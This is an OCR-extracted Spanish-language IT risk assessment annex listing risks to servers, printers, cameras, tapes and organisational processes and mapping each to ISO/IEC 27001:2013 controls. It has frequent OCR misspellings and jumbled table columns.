PROBAEILIDAD

Probable

IMPACTO

Mayor

ZONA DE
RIESGO

Destruccion del equipo
debido a la falta de
controles  fisicos contra
incendios

Indisponibilidad del
equipo

Perdida de informacion

Rara vez

Mayor

Mal funcionamiento del
equipo debido a que no
se toman las medidas
necesarias para
protegerlo contra el polvo,
la humedad y la suciedad

Indisponibilidad del
equipo

Perdida de informacion

Probable

Mayor

Errar &n &l uso del equipo
debido a la ausencia de
un control eficaz de
cambios

Indisponibilidad del

equipo

Improbable

Mayor

Baja

TRATAMIENTO

Reducir

Reducir

Reducir

Asumir

Fallo en el servicio debido
a que no se cuenta con
equipo de respaldo

Indisponibilidad del

servicio

Probable

Mayor

R73

R74

R75

R76

R77

R78

R79

RE80

SERVIDOR DE
OPEN FLEXIS

Mal funcionamiento del
equipo debido a que no
se realiza periddicamente
mantenimiento preventivo
a los servidores de la
empresa

Indisponibilidad del
servidor

Perdida de informacion

Probable

Mayor

Destruccion del servidor
debido a la falta de
controles  fisicos contra
incendios

Indisponibilidad del
servidor

Perdida de informacion

Probable

Mayor

Mal funcionamiento del
servidor debido a que no
se toman las medidas
necesarias para
protegerlo contra el polvo,
la humedad y la suciedad

Indisponibilidad del
servidor

Perdida de informacion

Probable

Mayor

Destruccion del servidor
debido a wvariaciones de
voltaje de energia
eléctrica

Indisponibilidad del
servidor

Perdida de informacion

Posible

Mayor

Mal funcionamiento del
servidor debido a la
ausencia de un control
eficaz de cambios

Indisponibilidad del

equipo

Improbable

Mayor

Indisponibilidad parcial o
permanente en el servicio
debido a que no se cuenta
con equipo de respaldo

Indisponibilidad del

servicio

Probable

Mayor

Fallo en el servidor debido
a que no se cuenta con un
sistema de monitoreo de
temperatura en el caso en
&l que haya una variacion
de esta en el medio
ambiente

Indisponibilidad del

servidor

Improbable

Mayor

Copia de respaldo

corrupta

Perdida de informacion

Posible

Mayor

Reducir

Reducir

Reducir

Reducir

Reducir

Asumir

Reducir

Reducir

- Reducir




ID DEL
RIESGO

Ré1

R82

R83

R84

ACTVO

IMPRESORAS

RIESGO

Mal funcionamiento del
equipo debido a que no
se realiza periodicamente
mantenimiento preventivo
a las impresoras de la
empresa

CONSECUENCIA

Indisponibilidad de las
impresoras

PROBABILIDAD

Prabable

IMPACTO

Menor

ZONA DE
RIESGO

TRATAMIENTO

Reducir

Mal funcionamiento y uso
de impresoras obsoletas
debido a que no se cuenta
con esquemas de
remplazo perigdico

Indisponibilidad de las
impresoras

Prabable

Menor

Reducir

Mal funcionamiento de las
impresoras debido a que
no se toman las medidas
necesarias para
protegerlas  contra el
polva, la humedad y la
suciedad

Indisponibilidad de las
impresoras

Prabable

Menor

Reducir

Error en el uso de las
impresoras debido a la
ausencia de un control
eficaz de cambios

Indisponibilidad de las
impresoras

Prabable

Menor

Asumir

R85

R86

CAMARAS (CCTV)

Mal funcionamiento y uso
de camaras debido a que
no se cuenta con
esguemas de remplazo
periadico

Indisponibilidad de
camaras

Prabable

Moderado

Reducir

Huro de dispositivos
debide a la falta de
proteccion fisica

Robo de informacion

Posible

Moderado

R&7

R&8

R89

Ra0

CINTAS
MAGNETICAS

Hurto de medios debido a
que no existen politicas
del uso seguro de medios
de almacenamiento

Robo de informacion

Posible

Mayar

Hurto de medios debido a
que las cintas magnéticas
se encuentran sin ningdn
tipo de proteccion

Robo de informacion

posible

Mayar

Generacion de un evento
ylo accidente de
seguridad en la sede
centro donde se
encuentra el servidor y las
copias de respaldo

Perdida de informacian

Improbable

Mayar

Reducir

Reducir

Reducir

Reducir

Acceso no autorizado a la
informacion

Robo de informacion

Improbable

Mayar

Reducir




ID DEL
RIESGO

Ro1

ROz

Ro3

Ro4

RO5

RO6

Ra7

Ro&

Rog

R100

R101

ACTVO

EMPRESA
(ORGANIZACION)

RIESGO

Abuso de derechos
debido a la falta de
procedimientos para el
registro  y retiros  de
usuario

CONSECUENCIA

Robo de informacion
Divulgacion o
modificacion de
informacion

PROBAEILIDAD

Pasible

IMPACTO

Moderada

ZONA DE
RIESGO

TRATAMIENTO

Reducir

Abuso de derechos
debido a la ausencia de
un proceso formal para la
revision de derechos de
HCCES0

Robo de informacion
Divulgacion [s]
modificacion de
informacion

Improbable

Moderado

Moderado

Asumir

Abuso de  derechos
debido a la falta de
auditorias regulares

Robo de informacion
Divulgacion [s]
modificacion de
informacion

Improbable

Moderado

Moderado

Asumir

Abuso de derechos
debido a la ausencia de
reporte de fallas en los
registros de
administradores de
sistemas de informacion

Robo de informacion
Divulgacion 5]
modificacion de
informacion

Improbable

Moderada

Falla en equipos debida a
la ausencia de planes de
continuidad

Indisponibilidad de
equipos

Probable

Mayor

Error en el uso de la
informacion debido a la
ausencia de
procedimientos para el
manejo de informacion
sensible

Robo de informacion
Divulgacion [s]
modificacion de
informacion

Posible

Moderado

Moderado

Asumir

Reducir

Reducir

Hurto de equipos debido a
la ausencia de procesos
disciplinarios en el caso
que 58 presente
incidentes en seguridad
de la informacion

Robo de informacion

Probable

Moderado

Reducir

Hurfo de medios o
documentos debido a la
ausencia de politicas
sobre limpieza de
escritorio y pantalla

Robo de informacion
Divulgacion o
modificacion de
informacion

Posible

Moderado

Reducir

Ausencia de
procedimientos para el
cumplimiento de las
disposiciones referente a
los derechos de
proteccion intelectual.

Sanciones
econdmicas
empresa

y multas
para la

Probable

Moderado

Reducir

Manejo inadecuado de
incidentes de seguridad
debido a la ausencia de
responsabilidades en
seguridad de la
informacion

Manejo inadecuado de
incidentes de sequridad

Pasible

Moderada

Reducir

Error en el wuso vy
configuracion de  los
sistemas de informacion
de la empresa debido a
un entrenamiento
insuficiente en seguridad
de la informacion

Robo de informacion -
Acceso a informacion no
autorizada

Posible

Moderado

Reducir




ANEXO J

CONTROLES SELECCIONADOS DE LA NORMA ISO 27001 PARA MITIGAR LOS
RIESGOS A LOS CUALES ESTAN EXPUESTO LOS ACTIVOS DE TI.

DOMINIO

CONTROLES ISO/NEC 2T001:2013

Error en el uso de la plataforma
tecnoldgica debide a que la
interfaz de usuario es compleja y
obsocleta

A 12 SEGURIDAD DE LAS
OPERACIONES

A12.1.3 S3e debe hacer seguimiente al uso de recursos, hacer
o= ajustes y hacer proyecciones de los requisitos de capacidad
futura, para asegurar el desempefio requerido del sistema.

R3

Error en &l uso en la configuracidn
y funcicnamiento de la plataforma
debido a la falta de documentacion

A12 5EGURIDAD DE LAS
OPERACIONES

A.12.1.1 Los procedimientos de operacidn se deben documentar
¥y poner a disposicién de todos los usuarios que ko necesiten

RS

Intrusiocn a a la platafarmoa
aprovechando gque no se realiza
monitores de los registros logs
que permitan detectar debilidades
de seguridad

A 12 SEGURIDAD DE LAS
OPERACIOMES

A.12.4.1 Se deben elaborar, conservar y revisar regularmente los
registros acerca de actividades del usuario, excepciones, fallas y
eventos de seguridad de la informacidn
A.12.4.2 Las instalaciones vy la informacién de registro se deben
proteger contra aleracidn y acceso no  autorizado
A12.4.3 Las actividades del administrador y del operador del
sistema se deben registrar, v los registros se deben proteger vy
revisar con regularidad

R&

Falsificacidn de derechos de
usuaric debide a la deficiente
gestién de contrasefias

RT

Acceso a permisos g0]
autorizados debido a la falta de
asignacion de perfiles de acuerdo
al rel que desempeifian

R8

Mal funcicnamiente del software
debido a la ausencia eficaz de
cambics

A9 43 Los sistemas de gestion de contrasefias deben ser

4.9 CONTROL DE ACCESD interactivos v deben asegurar la calidad de las contrasefias
£.9.1.1 Se debe establecer, documentar y revisar una politica de
control de accesc con base en los requisites del negocio vy de
seguridad de la informacidn

A8 CONTROL DEACCESD  |AS.2.2 Se debe implementar un proceso de suministro de acceso

formal de usuarios para asignar o revocar los derechos de
acceso para todo tipe de usuarios para todos los sistemas vy
servicios

A12SEGURIDAD DE LAS
OPERACIOMES

A12.1.2 Se deben controlar los cambios en la organizacién, en
los procesos de negocio, en las instalaciones v en los sistemas
de procesamiento de informacidén que afectan la seguridad de la
informacicn

RS

Ataque informatico aprovechando
vulnerabilidades de la plataforma
tecnoldgica

A12SEGURIDAD DE LAS
OPERACIOMES

A.12.6.1 Se debe obtener oportunamente informacién acerca de
las wulnerabilidades técnicas de los sistemas de informacidn que
se& usen, evaluar la exposicidn de la organizacidn a estas
vulnerabilidades, y tomar las medidas apropiadas para tratar el
riesgo asociado

R10

Manejo inadecuado de

incidentes

ALG6 GESTION DE INCIDENTES
DESEGURIDAD DE LA
INFORMACION

A16.1.1 Se deben establecer las responsabilidades vy
procedimientos de gestidn para asegurar una respuesta rapida,
eficaz y ordenada a los incidentes de seguridad de la informacidn.
A.16.1.3 Se debe exigir a todos los empleados v contratistas que
usan los servicios y sistemas de informacion de la organizacion,
que cbserven e informen cualguier debilidad de seguridad de la
informacién observada © sospechada en los sistemas o
servicios.

R11

ACCES0 de LS Uarios na
autorizados debido a que no se
finalzd sesion en la plataforma
tecnoldgica

ALL SEGURIDAD FISICAY DEL
ENTORMNO

A.11.2.9 Los usuarics deben asegurarse de que a los equipos
desatendidos se les de proteccitn adecuada

R12

Error en el uso de la plataforma
tecnoldgica debide a que la
interfaz de usuario 8s compleja

A 12 SEGURIDAD DE LAS
OPERACIOMES

A.12.1.3 Se debe hacer seguimiente al uso de recursos, hacer
los ajustes y hacer proyecciones de los requisitos de capacidad
futura, para asegurar &l desempefio requerido del sistema.

R13

Error en el uso, en la
configuracidn y funcionamiento de
la plataforma debido a la falta de
documentacidn

A 12 SEGURIDAD DE LAS
OPERACIOMES

A.12.1.1 Los procedimientos de operacién se deben documentar
¥y poner a disposicién de todos los usuarios que ko necesiten

R15

Intrusicn a la plataforma
tecnologica aprovechando que no
se realza monitorec de los
registres logs que permitan
detectar debilidades de seguridad.

A 12 SEGURIDAD DE LAS
OPERACIONES

A.12.4.1 Se deben elaborar, conservar y revisar regularmente los
registros acerca de actividades del usuario, excepciones, fallas y
eventos de =seguridad de la informacian
A12.4.2 Las instalaciones y la informacién de registro se deben
proteger contra alteracidn vy acceso no  autorizado
A12.4.3 Las actividades del administrador y del operador del
sistema se deben registrar, v los registros se deben proteger vy
revisar con regularidad




CRITICIDAD DOMINIO

CONTROLES ISOMNEC 2T001:2013

Fabillonclin de  derschos  da AS43 Los sistemas de tidn de contrasefas deben ser
R16 |usuaric debido a la deficiente .9 CONTROL DEACCESD |10 gestian °
. _ interactivos v deben asegurar la calidad de las contrasefias
gestién de contrasefas
A5.1.1 Se debe establecer, documentar y revisar una politica de
ACCESD a permizos no contn:_-l de acceso con base en los requisitos del ne:goc_ oy _1:_1&
autorizados debido a la falta de seguridad de b infon on
R1T . " " A9 CONTROL DEACCESDO |A.9.2.2 Se debe implementar un proceso de suministro de acceso
asignacién de perfiles de acuerdo . .
al rol que desempefian formal de usuarics para asignar o revocar los derechos de
q pe acceso para todo tipe de usuarios para todos los sistemas y
servicios
A.12.6.1 Se debe obtener ocportunamente informacidn acerca de
Ataque informétice aprovechando las vulnerabilidades técnicas de ks sistemas de informacion que
- A.12 SEGURIDAD DE LAS I ) "
R18 vulnerabilidades de la plataforma Alte OPERAIONES =& usen, evaluar la exposicidén de la organizacién a estas
tecnoligica vulnerabilidades, v tomar las medidas apropiadas para tratar el
riesgo asociado
A161.1 Se deben establecer las responsabilidades vy
procedimientos de gestidn para asegurar una respuesta rapida,
A.16 GESTION DE INCIDENTES :f':ﬁai *EOEFEZM;: # los '“':tf;"tei;e Sﬁg;;:ad de ln ,:m':.r tas"“":'"'
R18  |Manejo inadecuado de incidentes Alta DESEGURIDAD DE LA A ebe exigir a lodos los empleados y coniratistas que
INFOR 0N usan ks servicios vy sistemas de informacion de la organizacion,
1A que observen e informen cualquier debilidad de seguridad de la
informacidn observada o sospechada en los sistemas o
servicios.
Mal funcionamients del software A.12.1.2 Se deben controdar los cambics en la organizacitn, en
R20 debido 2 la ausencia eficar de Alt A 12 SEGURIDAD DE LAS los procesos de negocio, en las instalaciones y en los sistemas
cambios OPERACIOMES de procesamiento de infermacién gue afectan la seguridad de la
informacidn
Error en el uxo, configuracin y A12 SEGURIDAD DELAS  |A.12.1.1 Los procedimientos de operacion se deben documentar
R22 funclonamisnio de la pistaforma Alo OFERACIOMES ner a dis icidn de todos los usuarios que ko necesiten
debido a la falta de documentacicn ¥ po pos q
Falsificacion de derechos de . " -
R25 |usuaric debido a la deficients Alto .89 CONTROL DEACCESp | *-2-4-3 Los sistemas de gestion de contrasefias deben ser
. _ interactivos v deben asegurar la calidad de las contrasefias
gestién de contrasefas
A.12.4.1 Se deben elaborar, conservar y revisar regularmente los
Intrusion a a plataforma registros acerca de a{:tmdac.les del usuario, excepc n:urfes, fallasj.y
tecnologica aprovechando que no eventos de seguridad de la informacidn
) P 3 q AlZSEGURIDAD DELAS  [A12.4.2 Las instalaciones y la informacién de registro se deben
R26 s& realza monitorec de los Alto - .
registros  logs e rmitan OPERACIONES proteger contra alteracidn Yy acceso no autorizado
=0 ogs g pern A12.43 Las actividades del administrador y del operador del
detectar debilidades de seguridad. . . .
=sistema se deben registrar, ¥ los registros se deben proteger vy
revizar con regularidad
A.9.1.1 3e debe establecer, documentar y revisar una politica de
Acceso a permisos no contrc_nl de acceso con base en los requisitos del n&goc_ oy _1:_Ie
autorizados debide a la falta de eguridad de ta infor on
R27 . . N Alto A.9 CONTROL DE ACCESDO  |A.9.2.2 Se debe implementar un proceso de suministro de acceso
asignacién de perfiles de acuerdo . R
al rol que desempefian formal de usuarics para asignar o revocar los derechos de
q pe acceso para todo tipe de usuarics para todos los sistemas y
servicios
A.12.6.1 Se debe cbtener cportunamente informacién acerca de
Ataque informaético aprovechando A.12 SEGURIDAD DE LAS las vulnerabilidades técnicas de los sistemas de informacion que
R28 vulnerabilidades de la plataforma Alto ) OPERALICINES =& usen, evaluar la exposicidén de la organizacién a estas
tecnolkigica vulnerabilidades, v tomar las medidas apropiadas para tratar el
riesgo asociado
A.16.1.1 Se deben establecer las responsabilidades vy
procedimientos de gestidn para asegurar una respuesta rapida,
.16 GESTION DE INCIDENTES f':gﬁ "‘EDEFEZM;: alos '"ﬁﬁ;m‘ﬁ;e Se’?ﬁ':;:ad de la t'"f‘;'.r m"“":'"'
R2% Manejo inadecuado de incidentes Alte DESEGURIDAD DE LA - f.= . e:n:u_:pl_r a oS . Emp ..03 ¥ contra 'S. 1_:|_ue
INFOF On usan los servicios y sistemas de informacion de la organizaciin,
1A que cbserven e informen cualguier debilidad de seguridad de la
informacién observada o sospechada en los sistemas o
servicios.
Falsificacion de derechos de . " -
R32 |usuaric debido a la deficiente Alto A.9 CONTROL DEACCESD |43 Los sistemas de gestin de contrasefias deben ser
. _ interactivos v deben asegurar la calidad de las contrasefias
gestién de contrasefas
Mal funcionamiente del equipo
debido a que no se realiza .11 SEGURIDAD FISICAY DEL |A.11.2.4 Los equipos se deben mantener correctamente para
A3 pariidicamente mantenimisnto ENTORNO asegurar su disponibilidad e integridad continua
preventive a ks equipos de la e po =
ampresa




ID DEL

RIESGO RIESGO CRITICIDAD DOMIMNIO CONTROLES ISO/NEC 27T001:2013
Mal funcicnamientc y uso de
R3E equipos obsoletos debido a que A 11 5EGURIDAD FISICAY DEL (A.11.2.4 Los equipos se deben mantener correctamente para
no se cuenta con esguemas de ENTORMNO asegurar su disponibilidad e integridad continua
remplazo periddico
Mal funcicnamiente del equipo
detru.:lu a que no se. toman las A.11SEGURIDAD FISICAY DEL A.11.2..1 Ln@. equipes deben estar utnc:.&dns y protegidos para
R37 medidas necesarias para reducir los riesgos de amenazas y peligros del entorno, v las
ENTORMNO . R
protegerlc contra el polvo, la posibilidades de acceso no autorizado
humedad v la suciedad
De:s_tru_{:c'ui-n del e:qu_ipn debide a A.11SEGURIDAD FISICAY DEL A.11.2.2_ans aqu?pncs =& deben proteger contra fallas de_e!'be:rg[a
R38 variacicnes de voltaje de energia y otras interrupciones causadas por fallas en los servicios de
L ENTORNO o
eléctrica suministro
A.12.3.1 Se deben hacer copias de respaldo de la infermacidn,
R39 Falle del disco durc del equipo y AL1Z SEGURIDAD DELAS  |software e imagenes de los sistemas y ponerlas a prueba
no hay copias de respaldo OPERACIOMNES regularmente de acuerdo con una politica de copias de respaldo
acordadas
Robo de documentos digitales
confidenciales debido a que en los A.10.1.1 Se debe desarrcllar & implementar una politica sobre el
R40 equipes de la empresa se A0 CRIPTOGRAFIA uso de controles criptograficos para la proteccién de la
almacena informacion de manera informacidn
no segura
A12.21 Se deben implementar controles de deteccién, de
Ingreso de codigo malicioso a los prevencion y de recuperacién, combinados con la toma de
R42 sistemnas de informacién debido a A.12SEGURIDAD DELAS  |conciencia apropiada de los usuarios, para proteger contra
la descarga de software no OPERACIONES codigos malicicsos
licenciado A126.2 Se debe establecer e implementar las reglas para la
instalacién de software por parte de los usuarios.
A11.1.2 Las areas seguras se& deben proteger mediante
Finbn dq.al equipe debido a que las A.11SEGURIDAD FISICA Y DEL {:Dntrples de acceso apropiados para asegurar que sm‘n 58
R43 instalaciones no cuenta con una ENTORNG permita el acceso a personal auterizado
proteccitn fisica adecuada A.11.1.3 Se debe disefar y aplicar seguridad fisica a oficinas,
recintos e instalaciones
A12.21 Se deben implementar controles de deteccién, de
Ingreso de software malicioso en prevencidn y de recuperacidn, combinados con la toma de
R45 los equipos de la empresa debido A.12 SEGURIDAD DELAS  |conciencia apropiada de los usuarios, para proteger contra
a que alguncs de estos no OPERACIONES cidigos malicicsos
cuentan con antivirus A126.2 Se debe establecer e implementar las reglas para la
instalacién de software por parte de los usuarios.
A.12.6.1 Se debe obtener cportunamente informacién acerca de
Atague informético aprovechando A 12 SEGURIDAD DE LAS las vuln&_ratnhd&des técnicas delns sistemas de. |r||f|:-.r.mac:|nn que
R47 vulnerabilidades en e equi Alte OPERACIONES s& usen; evaluar la exposicidn de la organizacién a estas
equipc vulnerabilidades, y tomar las medidas apropiadas para tratar el
riesgo asociado
R4B Ataque informatico aprovechando Alt A1Z SEGURIDAD DELAS (A 12.5.1 Se debe implementar procedimientos para controlar la
nuevas vulnerabiidades OPERACIOMNES instalacién de software en sistemas operativos.
Mal funcicnamientc del equipo
debido a que no =s realza A.11SEGURIDAD FISICAY DEL |A 11.2.4 Los equipos se deben mantener correctamente para
R43 perifcicaments markenimientc ENTORMNO asegurar su disponibiidad e integridad continua
preventive a los servidores de la b pof e
empresa
Destruccién del equipo debido ala A.11SEGURIDAD FISICAYDEL |A.11.1.4 Se deben disefiar y aplicar proteccion flsica contra
R50 falta de controles fisicos contra T )
. . ENTORMNOD desastres naturales, atagues maliciosos o accidentes
incendios
Mal funcicnamiento del equipo
del:ru_:lu a que no se-_ toman las A.11SEGURIDAD FISICAY DEL A.11.2_.1 Lors_ equipcs deben estar utnc:_adurs ¥y protegidos para
R51 medidas necesarias para reducir los riesgos de amenazas y peligres del entorno, v las
ENTORNO - 3
protegeriec contra el polvo, la posibiidades de acceso no autorizado
humedad v la suciedad
A11.2.2 Los equipos se deben proteger contra fallas de energla
y otras interrupciones causadas por fallas en los servicios de
Destruccidn del equipo debido a suministro
A.11 SEGURIDAD FISICAY DEL
R52 variaciones de voltaje de energia Alto — A11.23 E cableade de energia eléctrica y de
eléctrica telecomunicaciones que porta dates o brinda soporte a los
servicios de informacion se debe proteger contra interceptacion,
interferencia o dafio.
ALT ASPECTOS DE
Fallo en el servicic debido a que SEGURIDAD DELA A1T.21 Las instalaciones de procesamients de informacidn se
R54 no se cuenta con egquipo de Alto INFORMACION DE LA GESTION (deben implementar con redundancia suficiente para cumplir con

respaldo

DECONTINUIDAD DEL
NEGOCID

los requisitos de disponibilidad




ID DEL

RIESGO RIESGO CRITICIDAD DOMINIO CONTROLES ISO/IEC 2T001:2013
Dafic &n el equipe debido a que no
58 i__':uenta. con un sistema de A.11 SEGURIDAD FISICAY DEL A.11.2_.1 Locs_ equipes deben estar ubbc:_ados y protegidos para
R55 monitorec de temperatura en el Alto reducir los riesgos de amenazas y peligros del entorno, y las
L ENTORMNO oo .
caso en el que haya una variacisn posibilidades de acceso no autorizado
de esta en el medic ambiente
Hurte de infon ian al anada £.11.1.2 Las areas segurfrs se deben proteger mediante
an ol servidor debido 2 que no controles de acceso apropiados para asegurar que solo se
. . q A11 SEGURIDAD FISICAY DEL | permita el acceso a personal autorizado A11.21
R56 existen mecanismos de Alto . . . .
. . . ENTORND Los equipos deben estar ubicades y protegides para reducir los
autenticacidn para el ingreso al ) " o
: riesgos de amenazas y peligros del entorno, v las posibilidades
cuarte de servidores R
de acceso no autorizado
A.12.3.1 Se deben hacer copias de respaldo de la informacion,
. A.12 SEGURIDAD DE LAS software e imagenes de los sistemas y ponerlas a prueba
RS7 Copia de raspaido comupta OPERACIONES regularmente de acuerdo con una politica de copias de respaldo
acordadas
A12.3.1 Se deben hacer copias de respaldo de la informacion,
R58 Falle del servidor y no hay copia A12 SEGURIDAD DE LAS software e imagenes de los sistemas y ponerlas a prueba
de respaldo actualizada OPERACIONES regularmente de acuerdo con una politica de copias de respaldo
acordadas
Mal funcionamiento del equipo
detr_n_:lo_ a que no se _re:_allza AL11SEGURIDAD FISICAY DEL [A.11.24 Los equipos se deben mantener correctamente para
Ra9 parisdicaments mantanimisnio ENTORNO asegurar su disponibilidad & integridad continua
preventive a los servidores de la =g po =
empresa
Desinwccion delequu:u:-.demdoala A L1 SEGURIDAD FISICAY DEL | A.11.1.4 Se deben disefar y aplicar proteccidn fisica contra
RE0 falta de controles fisicos contra o ;
. y ENTORND desastres naturales, ataques maliciosos o accidentes
incendios
Mal funcicnamientoe del equipo
debu.:lo a que no se. toman las A.11 SEGURIDAD FISICAY DEL .-D..11.2..1 Lcns. equipos deben estar umc:.adas y protegidos para
RE1 medidas necesarias para ETORNG reducir los riesgos de amenazas y peligres del entorno, vy las
protegerlc contra e polvo, la posibilidades de acceso no autorizado
humedad y la suciedad
A.11.2.2 Los equipos se deben proteger contra fallas de energia
y otras interrupciones causadas por fallas en los servicies de
Destruccidén del equipo debido a suministro
A.11 SEGURIDAD FISICAY DEL
RE2 variaciones de voltaje de energla Alto —— A11.2.3 El cableadoc de energla eléctrica vy de
eléctrica telecomunicaciones que porta datos o brinda soporte a los
servicios de informacién se debe proteger contra interceptacion,
interferencia o dafio.
ALT ASPECTOS DE
Fallo en &l servicio debido a que SEGURIDAD DE LA A.17.2.1 Las instalaciones de procesamiento de informacion se
RE4 ne se cuenta con equipo de Alto INFORMACION DE LA GESTION | deben implementar con redundancia suficiente para cumplir con
respaldo DE CONTINUIDAD DEL los requisitos de disponibilidad
NEGOCIO
Drafic en el equipe debido a que no
58 i__':uenta. con un sistema de A.11 SEGURIDAD FISICA Y DEL A.'I'I.Z_.'I Locs_ equipes deben estar ubbc:_ados y protegidos para
RE5 monitorec de temperatura en el Alto reducir los riesgos de amenazas y peligros del entorno, y las
L ENTORNO oo .
caso en el que haya una variacisn posibilidades de acceso no autorizado
de esta en el medio ambiente
Hurte de infon ian al enada A.11.1.2 Las areas sevgurgs se deben proteger mediante
an &l servidor debido a que no controles de acceso apropiados para asegurar gue solo se
. - q A.11 SEGURIDAD FISICAY DEL | permita &l acceso a personal autorizado A2
RE6 existen MECanismos de Alto . . . .
. . | ENTORNO Los equipos deben estar ubicados y protegidos para reducir los
autenticacidn para el ingresc al ) . o
: riesgos de amenazas y peligros del entorno, v las posibilidades
cuarte de servidores .
de acceso no autorizado
A.12.3.1 Se deben hacer copias de respaldo de la informacion,
. A.12 SEGURIDAD DE LAS software & imagenes de los sistemnas y ponerlas a prueba
RoT Copta da razpaida comupta OPERACIONES regularmente de acuerdo con una politica de copias de respaldo
acordadas
Mal funcicnamientoe del equipo
debido & qua no g8 realiza A.11 SEGURIDAD FISICAY DEL [A.11.2.4 Los equipos se deben mantener correctamente para
R58 periicicaments menisnimienio ENTORND asegurar su dis ponibilidad e integridad continua
preventive a los servidores de la &0 po e
empresa
Destruccidn del equipo debido ala A.11 SEGURIDAD FISICAY DEL|A.11.1.4 Se deben disefiar y aplicar proteccién fisica contra
RE&S fatta de controles fisicos contra L )
) y ENTORND desastres naturales, ataques maliciosos o accidentes
incendios
Mal funcionamiento del equipo
debide a que no se toman las A11.21 Los equipos deben estar ubicados y protegidos para
A.11 SEGURIDAD FISICAY DEL
] medidas necesarias para reducir los riesgos de amenazas y peligros del entorno, vy las

protegerlc contra el
humedad v la suciedad

polvo, la

ENTORNO

posibilidades de acceso no autorizado




ID DEL

RIESGO RIESGO CRITICIDAD DOMINIO CONTROLES ISO/IEC 2T7001:2013
ALT ASPECTOS DE
Fallo en &l servicio debido a que SEGURIDAD DE LA A17.21 Las instalaciones de procesamiento de informacién se
R72 no se cuenta con equipo de INFORMACION DE LA GESTION | deben implementar con redundancia suficiente para cumplir con
respaldo DE CONTINUIDAD DEL ks requisitos de disponibiidad
NEGDCIO
Mal funcicnamientoe del equipo
debido & que no us realra A.11SEGURIDAD FISICAYDEL |£,11.2.4 Los equipos se deben mantener correctaments para
R7a pariicicaments mantenimiento ENTORNO asegurar su disponibilidad e integridad continua
preventive a los servidores de la b po e
empresa
Destruccion del servidor debido a A.11 SEGURIDAD FISICAYDEL |4.11.1.4 Se deben disefiar y aplicar proteccion fisica contra
RT4 la falta de controles fisicos contra L .
) . ENTORNOD desastres naturales, ataques malicicsos o accidentes
incendics
Mal funcicnamiento del servidor
detru_:ln a que no se.-_ toman las A.11 SEGURIDAD FISICAY DEL A.11.2_.1 ans_ equipos deben estar ul:ru:_adus y protegidos para
R7S medidas necesarias para reducir los riesgos de amenazas vy peligres del entorno, v las
ENTORNO o .
protegerlc contra e polvo, la posibilidades de acceso no autorizado
humedad vy la suciedad
A.11.2.2 Los equipos se deben proteger contra fallas de energia
y ofras interrupciones causadas por fallas en los servicios de
Destruccién del servidor debido a suministro
A 11 SEGURIDAD FISICAY DEL
RTE variaciones de voltaje de energia ENTORNG A1123 E cableado de energia eléctrica vy de
eléctrica telecomunicaciones que porta datos o brinda soporte a los
servicios de informacién se debe proteger contra interceptacion,
interferencia o dano.
) o ) A.17 ASPECTOS DE
Indrﬁgnnr:mld&edn al sg:;rizzldehidg SEGURIDAD DE LA A1T.21 Las instalaciones de procesamiento de informacion se
R78 z& U No S8 cuenta Con equIne de INFORMACION DE LA GESTION | deben implementar con redundancia suficiente para cumplir con
4 equipo DECONTINUIDAD DEL  |los requisitos de disponibiidad
respalds
NEGDCIO
Fallx en el servidor debido a que
Mo s_e cuenta con un sistema de A.11 SEGURIDAD FISICA Y DEL A.11.2_.1 Lus_ equipos deben estar uhu:_&cln@ y protegidos para
R7g moniterec de temperatura en el reducir los riesgos de amenazas y peligres del entorno, vy las
L ENTORMNO oo .
caso en el que haya una variacién posibilidades de acceso no autorizado
de esta en el medic ambiente
A.12.3.1 Se deben hacer copias de respaldo de la informacicn,
. ALZ2SEGURIDAD DELAS  |software & imagenes de los sistemas vy ponerlas a prueba
R0 Copla de respaido cormupta OPERACIONES regularmente de acuerdo con una politica de copias de respaldo
acordadas
Mal funcicnamiento del equipo
debido a que ro ze realiza A.11 SEGURIDAD FISICAYDEL |A.11.24 Los equipos se deben mantener correctamente para
Ra1 peridédicamente mantenimiento Alte ) o . . .
. ) ENTORNO asegurar su disponibilidad e integridad continua
preventive a las impresoras de la
empresa
Mal funcicnamiento y wusoc de
RAZ impresoras obsoletas debido a Alt A 11 SEGURIDAD FISICAYDEL [A.11.24 Los egquipos se deben mantener correctamente para
que no se cuenta con esquemas ENTORNOD asegurar su disponibilidad e integridad continua
de remplazo periddico
Mal funcionamiento de las
impresoras debido a que no se A.11.21 Los equipos deben estar ubicados y protegidos para
A.11 SEGURIDAD FISICAY DEL
RB3 toman las medidas necesarias Alto reducir los riesgos de amenazas y peligres del entorno, y las
ENTORNO o R
para protegerias contra el polo, posibilidades de acceso no autorizado
la humedad y la suciedad
Error en el uso de las imoresoras A.12.1.2 Se deben controlar los cambics en la organizacién, en
Ra4 debido 3 Ia ausancia ds upn control A2 SEGURIDAD DE LAS los procesos de negocio, en las instalaciones y en los sistemas
) . OPERACIONES de procesamiento de informacidén que afectan la seguridad de la
eficaz de cambios . "
informacion
Mal funcicnamiento y uso de
RA5 camaras obsoletas debide a que ALL1SEGURIDAD FISICAY DEL [A.11.24 Los equipos se deben mantener correctamente para
no =€ cuenta con esquemas de ENTORNO asegurar su dis ponibilidad e integridad continua
remplazo periddico
A11.1.2 Las dreas seguras se deben proteger mediante
Hurto de dispositivos debido a Ia A.11 SEGURIDAD FISICA Y DEL cnntrples de acceso apropiados para asegurar que snl.n se
REE falta de proteccitn fsica Alte A — permita el acceso a personal autorizado
B A.11.1.3 Se debe disefiar y aplicar seguridad fisica a oficinas,
recintos e instalaciones
A.B.3.1 Se deben implementar procedimientos para la gestidén de
Hurte de medics debido a que no medios removibles, de acuerde con el esquema de clasificacién
RAT existen politicas del uso seguro A8 GESTION DE ACTIVOS  |adoptado por la organizacisn

de medios de almacenamiento

A.8.3.2 Se debe disponer de forma segura de los medios cuando
ya ne e requieran utiizando procedimientos formales




DOMINIO

CONTROLES ISO/EC 2T001:2013

Hurto de medics debido a que se A.8.3.1 3e deben implementar procedimientos para la gestidn de
R88 encuentran sin ningan tipe de A.B GESTION DE ACTIVOS medics removibles, de acuerdo con el esquema de clasificacién
proteccion adoptado por la organizacion.
Generacidn de un evento yio A.12.3.1 Se deben hacer copias de respaldo de la informacion,
RBS incidente de seguridad en la sede A L2 SEGURIDAD DELAS  |software & imdgenes de los sistemas y ponerlas a prueba
centro donde se encuentra el OPERACIONES regularmente de acuerdo con una politica de copias de respaldo
servidor ¥ las copias de respakdo acordadas
£.10.1.1 Se debe desarrcllar & implementar una politica sobre el
Acceso no  autorizade a la :ﬁ; de bl{_:.antroles criptograficos para 1:1»???“'05: djehil
RS0 infermacitn, debido a la falta de A.10 CRIPTOGRAFIA ) . L o !
